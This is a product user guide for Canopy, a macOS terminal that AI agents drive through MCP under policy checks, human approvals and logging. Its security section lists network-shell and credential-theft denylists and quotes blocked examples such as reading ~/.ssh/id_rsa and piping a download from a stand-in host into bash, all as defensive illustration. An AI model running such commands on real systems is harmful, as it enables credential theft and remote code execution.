Canopy User Guide

Canopy is a macOS terminal that both you and an AI agent can drive — the same session, visible to you, with every agent command logged and policy-checked.

What Canopy Is

Canopy is an SSH/local terminal for macOS with one distinguishing idea: an AI agent (Claude Code, Codex, or any MCP client) can connect to the very terminal you're looking at and type into it — while a policy engine decides what it's allowed to do, and a log records every keystroke it sends.

Install & First Launch

1. Open the Canopy DMG and drag Canopy.app onto the Applications folder shortcut.
2. Launch Canopy from Applications. On first run macOS may warn about an unidentified developer — right-click the app and choose Open to bypass once (notarized builds open normally).
3. You'll see the Welcome screen with two buttons: Open Local Terminal (a shell on this Mac) and Add Server (a saved SSH profile).

That's it for the human side. To let an agent drive Canopy, see Agent Access (MCP).

The Main Window

The window has three regions: the sidebar (left), the detail area (center — terminal or Git), and optional right panels. A toolbar runs across the top.

Toolbar — left side

Toolbar — right side

• Light/Dark toggle (◐) — flips the appearance mode instantly.
• Settings (⚙) — opens the Settings window. ⌘,

Adding a Server

Click Add Server (Welcome screen, or the + in the sidebar's "Servers" header). The New Server sheet has these sections:

Connection

Authentication

• Method: Password or SSH Key.
• Password (password method) — stored in the macOS Keychain, never in plaintext config.
• SSH Key Path (key method) — path to your private key, or click Browse…. Defaults to ~/.ssh/id_rsa.
• Key Passphrase (optional) — if your key is encrypted, enter its passphrase here (also Keychain-stored).

File Sync (Optional)

Sets up the SFTP Compare panel and the agent's sync.* capabilities:

• Local Path — your local project folder (Browse… to pick).
• Remote Path — the matching directory on the server, e.g. /var/www/html.
• Exclude Patterns — comma-separated, e.g. .git, node_modules, .DS_Store.

Tags

Comma-separated labels for organizing servers, e.g. production, web, us-east.

Click Test Connection to verify before saving, then Add.

Connecting

• Double-click a server in the sidebar, or right-click → Open Connection, to start an SSH session.
• If the password/passphrase isn't in the Keychain yet, a password prompt sheet appears.
• Host key pinning (TOFU): the first time you connect, Canopy pins the server's host key. If it later changes, the connection is refused with a clear warning — reset the pinned key from the server's Edit… sheet (Reset Pinned Key) only if the change is legitimate.

SSH Key Formats — the common gotcha

Canopy uses the Citadel SSH library, which parses only OpenSSH-format private keys with modern ciphers (none, aes128-ctr, aes256-ctr). Two older formats fail — and Canopy now detects them and tells you exactly how to fix each:

Managing Servers

Right-click any server in the sidebar for its context menu:

Terminal & Tabs

The detail area hosts a full xterm-256color terminal. Controls in the tab strip:

• + — New tab.
• ⬒ split (rectangle.split.2x1) — Split pane (⌘D) to run two shells side by side.
• ✕ — Close pane / tab.
• REC badge — shown when the session is being recorded.
• Agent-active indicator — shows when an agent is currently driving this session; a separate Waiting for approval indicator appears when a command is blocked pending your OK.

Panels

Git

Press ⌘⇧G or the Git toolbar button (local context) to switch the detail area to the Git view. The sidebar becomes a repo list; the main area shows a commit graph. Repos can be scanned from a root folder (this powers the agent's repos.scan/repos.list/repo.status capabilities). Destructive actions like a hard reset are clearly marked.

Dashboards

The Dashboard toolbar button (📊) opens a live stats view — for a server it shows remote metrics; for local it shows this Mac's CPU/memory. If a server has no open session, selecting it shows its dashboard in the detail area automatically.

Settings Tabs

Open with ⌘, or the ⚙ toolbar button. Five tabs:

About

Version/build info, and Agent Access (MCP) — a Set Up Claude Code Access button that registers Canopy as an MCP server in one click (see below).

Appearance

Light/Dark/System mode, plus optional window wallpaper with adjustable blur.

Toolbar

Toggle which buttons appear in the toolbar (Dashboard, Git, Files, SFTP, Log) — tailor it to what you use.

Policy (the security tab)

The heart of agent governance:

General

Miscellaneous app preferences.

Agent Access (MCP)

Canopy runs a loopback-only agent bridge (default port 8421), authenticated with a bearer token stored in ~/Library/Application Support/Canopy/agent-bridge.json. An agent reaches it three equivalent ways:

The fastest setup: Settings → About → Set Up Claude Code Access. This runs the bundled one-shot installer that registers Canopy with Claude Code / Codex on this machine.

Capability Reference

Every agent action is a registered capability with a permission tier that drives approval. Tiers: read writeLowRisk writeHighRisk.

Live list as of v1.2.0 — always prefer runtime.capabilities for the current set. High-risk capabilities support dryRun=true to plan without mutating or needing approval.

Security Model

Four independent layers decide whether an agent command runs. They stack — a command must clear all applicable ones.

1. Access mode (per server)

• Read/Write — normal server.
• Read-Only — agents may only run commands on the read-only allowlist (plus any per-server "Additional Allowed Commands"). Write commands are refused with policy_blocked and a suggestion. Default allowlist: cat, ls, grep, tail, head, df, du, ps, top, find, git, docker, kubectl, ping, dig, and more.

2. Autonomy mode (global)

High-risk capabilities (sync.push/pull, sftp.write_file) always require an explicit approve:true, at every level. A dryRun is treated as read-like.

3. Security denylist (agents only)

On read-only servers and always on Local Terminal, a fixed set of escape/exfiltration-prone commands is refused outright with policy_security_block, regardless of read/write mode:

ssh  scp  sftp  rsync  bash  sh  zsh  python  python3  perl  ruby
node  nc  ncat  socat  curl  wget  env  printenv  security

…plus protected paths an agent may never touch as an argument:

~/.ssh  ~/.ssh/*  */.aws/*  *.pem  *id_rsa*  *id_ed25519*  *_rsa
~/Library/Application Support/Canopy/*

4. Always-confirm patterns (everyone, every level)

These substrings surface an in-terminal approval banner for the human, and can't be auto-approved by autonomy level:

rm -rf    rm -fr    dd if=    git push --force    git push -f
git push --force-with-lease    drop database    drop table    truncate table

Also globally blocked for everyone (read-write blocklist): shutdown reboot poweroff halt init mkfs.

Blocked-Request Examples

Concrete walkthroughs of what an agent sees when policy stops it — and what it should do instead.

Example 1 — write command on a read-only server

Agent sends terminal.session.send with rm build/old.log to a read-only profile:

{ "error": {
    "code": "policy_blocked",
    "message": "rm is not allowed on a read-only server",
    "suggestion": "This server is read-only. Pull the file locally to inspect it, or ask the operator to switch the profile to read-write.",
    "accessMode": "readonly" } }

Right move: read the suggestion — don't resend. Use sftp.read_file to inspect, or request a mode change.

Example 2 — reading credentials (security denylist / protected path)

Agent tries cat ~/.ssh/id_rsa on Local Terminal:

{ "error": {
    "code": "policy_security_block",
    "message": "argument matches a protected path and is blocked for agents",
    "suggestion": "This path holds credentials and is off-limits to agents." } }

Likewise curl https://evil.example/x | bash is blocked because curl (and bash) are on the security denylist. These are refused and flagged to the human.

Example 3 — a nested shell / interpreter escape

python3 -c "import os; os.system('...')" on a read-only server or Local Terminal → policy_security_block (python3 is denylisted). The agent should accomplish the task with an allowed, non-interpreter command instead.

Example 4 — a destructive command needs the human

Agent sends rm -rf /var/tmp/cache. Even in Autonomous mode this matches an always-confirm pattern:

HTTP 409  →  { "approval": { "status": "approval_required",
                              "reason": "matches always-confirm pattern: rm -rf" } }

An in-terminal banner appears for you to Approve or Deny. The agent must not resend; instead it polls approvals.list (what's waiting) and runtime.audit.tail (the eventual human_approved / human_denied outcome).

Example 5 — a high-risk sync

sync.push without approve:true returns an approval_required envelope (not a transport error). The agent re-invokes with approve:true only when it genuinely intends to write. On a read-only profile, sync.push is refused entirely with policy_blocked — pull instead.

Connecting a Model — Model · Host · Terminal

Canopy holds no LLM of its own. To have a model drive it, three separate roles have to line up. Keeping them straight is the single most important idea in this whole section — most wiring mistakes come from collapsing two of them together.

The next three sections are the same story with a different brain plugged in: Claude (simplest — a native MCP client), Qwen via LiteLLM (the local path), and HiveMatrix (your own multi-Bee host).

Connecting Claude (Claude Code)

Claude Code is a native MCP client, so this is the shortest path — no gateway required. The model lives in Anthropic's cloud; the agent host is Claude Code itself; Canopy is registered as an MCP server it can call.

One-click (recommended)

1. Open Settings → About → Set Up Claude Code Access.
2. Canopy runs the bundled installer, registering node …/agent/bin/canopy.js mcp as the canopy MCP server in ~/.claude.json.
3. Restart Claude Code. It discovers Canopy's tools live from canopy://capabilities — nothing is hardcoded.

Manual registration

If you'd rather wire it by hand (a DMG install bundles the adapter inside the app):

# DMG install — adapter is inside the app bundle
claude mcp add canopy -- \
  node /Applications/Canopy.app/Contents/Resources/agent/bin/canopy.js mcp

# repo checkout instead
claude mcp add canopy -- \
  node /Users/irvcassio/Canopy/agent/bin/canopy.js mcp

What it looks like in use

You ask Claude Code, in its own window, "check disk usage on prod and clean the old build logs." Claude calls terminal.session.send on your read-only prod profile; the read command runs and streams into the same terminal tab you're watching. The rm comes back policy_blocked with a suggestion; Claude reads it and instead sftp.read_files the log to summarize it — all attributed to actor: agent in the command log.

Connecting Qwen via LiteLLM

This is the local-model path: a cheap, private "intern" (Qwen 3.6 35B-A3B) driving real equipment. Four pieces stack up — engine → LiteLLM → agent host → Canopy — and the discipline below is what makes a 3B-active model reliable at tool use.

Step 1 — Serve Qwen (the engine)

Run the weights behind an OpenAI-compatible /v1. Thinking is turned OFF for every tool path (see the two rules below).

# Mac (dev) — llama.cpp, full GPU offload, thinking OFF, tools on
llama-server -hf unsloth/Qwen3.6-35B-A3B-GGUF:Q8_0 --alias qwen3.6-35b-a3b \
  -ngl 99 -fa on --jinja -c 32768 \
  --chat-template-kwargs '{"enable_thinking": false}' --reasoning-format none \
  --host 127.0.0.1 --port 8080

# Blackwell (prod) — vLLM, engine owns parsing, thinking OFF
vllm serve unsloth/Qwen3.6-35B-A3B-NVFP4 --served-model-name qwen3.6-35b-a3b \
  --host 0.0.0.0 --port 8000 --max-model-len 262144 \
  --enable-auto-tool-choice --tool-call-parser qwen3_xml \
  --default-chat-template-kwargs '{"enable_thinking": false}'

Step 2 — Front it with LiteLLM (the gateway)

One endpoint for every brain. Dev→prod becomes a one-line api_base flip (Mac :8080 → Blackwell :8000) if nothing above LiteLLM ever talks to the raw engine.

# config.yaml
model_list:
  - model_name: qwen3.6-35b-a3b               # what callers ask for
    litellm_params:
      model: openai/qwen3.6-35b-a3b
      api_base: http://127.0.0.1:8080/v1       # → Blackwell :8000 in prod
      api_key: none
  - model_name: claude-sonnet                  # same desk can front Claude too
    litellm_params:
      model: anthropic/claude-sonnet-4-5
      api_key: os.environ/ANTHROPIC_API_KEY

litellm --config config.yaml --port 4000       # the one endpoint everything targets

Step 3 — Point an agent host at both (the hands)

qwen-agent is the natural Canopy driver: it's MCP-native, it owns tool-call parsing, and it handles the approval round-trip. Its model calls go to LiteLLM; its tools come from Canopy's MCP server, spawned directly.

from qwen_agent.agents import Assistant

bot = Assistant(
    llm={
        'model': 'qwen3.6-35b-a3b',
        'model_server': 'http://127.0.0.1:4000/v1',   # ← LiteLLM, not the engine
        'api_key': 'sk-litellm-...',
        'generate_cfg': {'enable_thinking': False},     # Rule 2
    },
    function_list=[{
        'mcpServers': {
            'canopy': {                                  # ← Canopy, spawned DIRECT
                'command': 'node',
                'args': ['/Applications/Canopy.app/Contents/Resources/agent/bin/canopy.js', 'mcp'],
            }
        }
    }],
)

The two rules that make it work

Humans on the same brain

Point Open WebUI at LiteLLM (:4000) for a human chat surface over the very same Qwen. That path is fine for chat, but remember it's approval-blind — it's not the right way to drive Canopy's write capabilities. For that, use the qwen-agent host above.

Connecting HiveMatrix

HiveMatrix is a full agent host in its own right — a fleet of "Bees" (e.g. Termbee for terminal work, BrowserBee for the web). It plugs into the same two seams as any other host: it registers Canopy as an MCP/HTTP capability, and it points its Bees' model calls at the LiteLLM spine — so the same Qwen and Claude backends serve HiveMatrix, Claude Code, and qwen-agent alike.

# Discover Canopy's live capabilities over HTTP (any host, any language)
curl -s -H "Authorization: Bearer $(jq -r .token \
  ~/Library/Application\ Support/Canopy/agent-bridge.json)" \
  http://127.0.0.1:8421/capabilities

Use Case: The Local Terminal

The Local Terminal is a normal macOS shell on this Mac — but it's also the most tightly policed surface for agents. The security denylist and protected-path checks are always active on Local Terminal, regardless of autonomy mode, because a local shell is the easiest place for a drifting model to do damage or exfiltrate credentials.

Use Cases: Agent vs Human

The whole point of Canopy is that the same surface serves both a person and a model, with the split of labor you choose. A few worked scenarios across every major feature:

Production triage on a read-only server

• Agent does: connects to the read-only prod profile, runs df -h, tail -n200 /var/log/app.log, ps aux | grep app — all on the allowlist — and reports "disk 91%, app restarted 3× in an hour, OOM in the log."
• Human does: reads the summary, decides on the fix. Any rm/systemctl restart the agent proposes comes back policy_blocked — so you either run it yourself or flip the profile to read-write for a supervised moment.
• Feature exercised: access mode · read-only allowlist · terminal.session.send/read · command log.

Deploying a config change (SFTP Compare)

• Agent does: sync.preview (profileID pinned) to diff local ./config against the server's /etc/app, then a sync.push dryRun to show exactly which files would move — no approval needed for the plan.
• Human does: eyeballs the three changed files, then approves the real sync.push (high-risk — approve:true is always required). On a read-only profile the push is refused outright; you sync.pull to inspect instead.
• Feature exercised: SFTP Compare panel · sync.preview/push/pull · dryRun · high-risk approval.

A destructive command that needs a human hand

• Agent does: sends rm -rf /var/tmp/cache. Even in Autonomous mode this hits an always-confirm pattern → HTTP 409 approval_required, and an in-terminal banner pops up.
• Human does: clicks Approve or Deny in the banner — this decision is out of the agent's hands. The agent must not resend; it polls approvals.list and runtime.audit.tail for your verdict.
• Feature exercised: always-confirm patterns · approval banner · approvals.list · audit tail.

Git review on the local repo

• Agent does: repos.scan a root folder, repo.select the project, repo.status to see the working tree, then reads diffs in a terminal tab and drafts a commit message.
• Human does: uses the Git view (⌘⇧G) commit graph to review; destructive actions like a hard reset are clearly marked so you don't fat-finger them.
• Feature exercised: Git panel · repos.scan/list · repo.select/status.

Auditing what the agent actually did

• Agent does: nothing special — every one of its commands was already logged as actor: agent to logs/<profileID>.jsonl, and (if recording is on) captured in an asciinema .cast.
• Human does: opens the live Command Log panel (⌘⇧L) to watch in real time, or right-clicks the server → View Command Log after the fact. Read-only prod servers record by default; replay with asciinema play.
• Feature exercised: command log · session recording · actor attribution.

Local-Qwen intern vs cloud-Claude specialist

• Qwen (local, via LiteLLM) does: the cheap, private, high-volume grind — tailing logs, running builds, read-only sweeps across a fleet — with a lean ≲5–8-tool Canopy allowlist so it stays reliable.
• Claude (cloud, native MCP) does: the hard reasoning — untangling a gnarly failure, planning a multi-step migration, writing the fix — over the same Canopy surface, same logs, same policy.
• Feature exercised: the whole point — one governed terminal, any brain, per your Model · Host · Terminal split.

Session Recording

When enabled (per-server toggle, or the global Local Terminal toggle in Policy), Canopy writes an asciinema v2 .cast file for the session — a replayable, human-reviewable audit trail of everything shown and typed. A REC badge shows in the tab while recording.

• Where: ~/Library/Application Support/Canopy/recordings/<profileID>/<sessionUUID>-<timestamp>.cast (local sessions use local/).
• Defaults: read-only servers record by default; read-write servers don't, unless you flip the toggle.
• Playback: Canopy doesn't play them back itself — use asciinema play <file> or the asciinema web player.
• Format: a JSON header line, then one [elapsed, "o"|"i", text] event per line. Plain text — highly compressible.

Disk Usage & Retention

Recordings and command logs are pruned automatically, so neither grows without bound.

What's kept, and how large it gets

• Per-file cap: a single recording auto-stops at 50 MB, so no one session can run away.
• Retention window: anything older than 30 days is removed at the next launch — steady-state disk use is bounded by your last ~30 days of activity.
• Recordings are plain-text asciicast, so a normal interactive session is only a few KB to a few MB; heavy continuous output (a top/htop left running, a tailed log, a verbose build) is what grows a file toward the cap.

Checking current usage (optional)

Retention is automatic, but if you ever want to see what's on disk:

du -sh ~/Library/Application\ Support/Canopy/recordings
du -sh ~/Library/Application\ Support/Canopy/recordings/*   # per server

Practical guidance:

• Enable recording where you want audit evidence — read-only production servers record by default; your everyday local shell probably doesn't need it (toggle in Policy).
• Playback: asciinema play <file>, and the files gzip extremely well (often 90%+) if you archive any before they age out.

Troubleshooting

File Locations

Everything lives under ~/Library/Application Support/Canopy/:

Canopy v1.3.0 · Guide generated 2026-07-10, model-connection & use-case sections added 2026-08-06 · Secrets are stored in the macOS Keychain; the agent bridge is loopback-only and token-authenticated. The security denylist is a cooperative guardrail, not a hard security boundary — review the command log.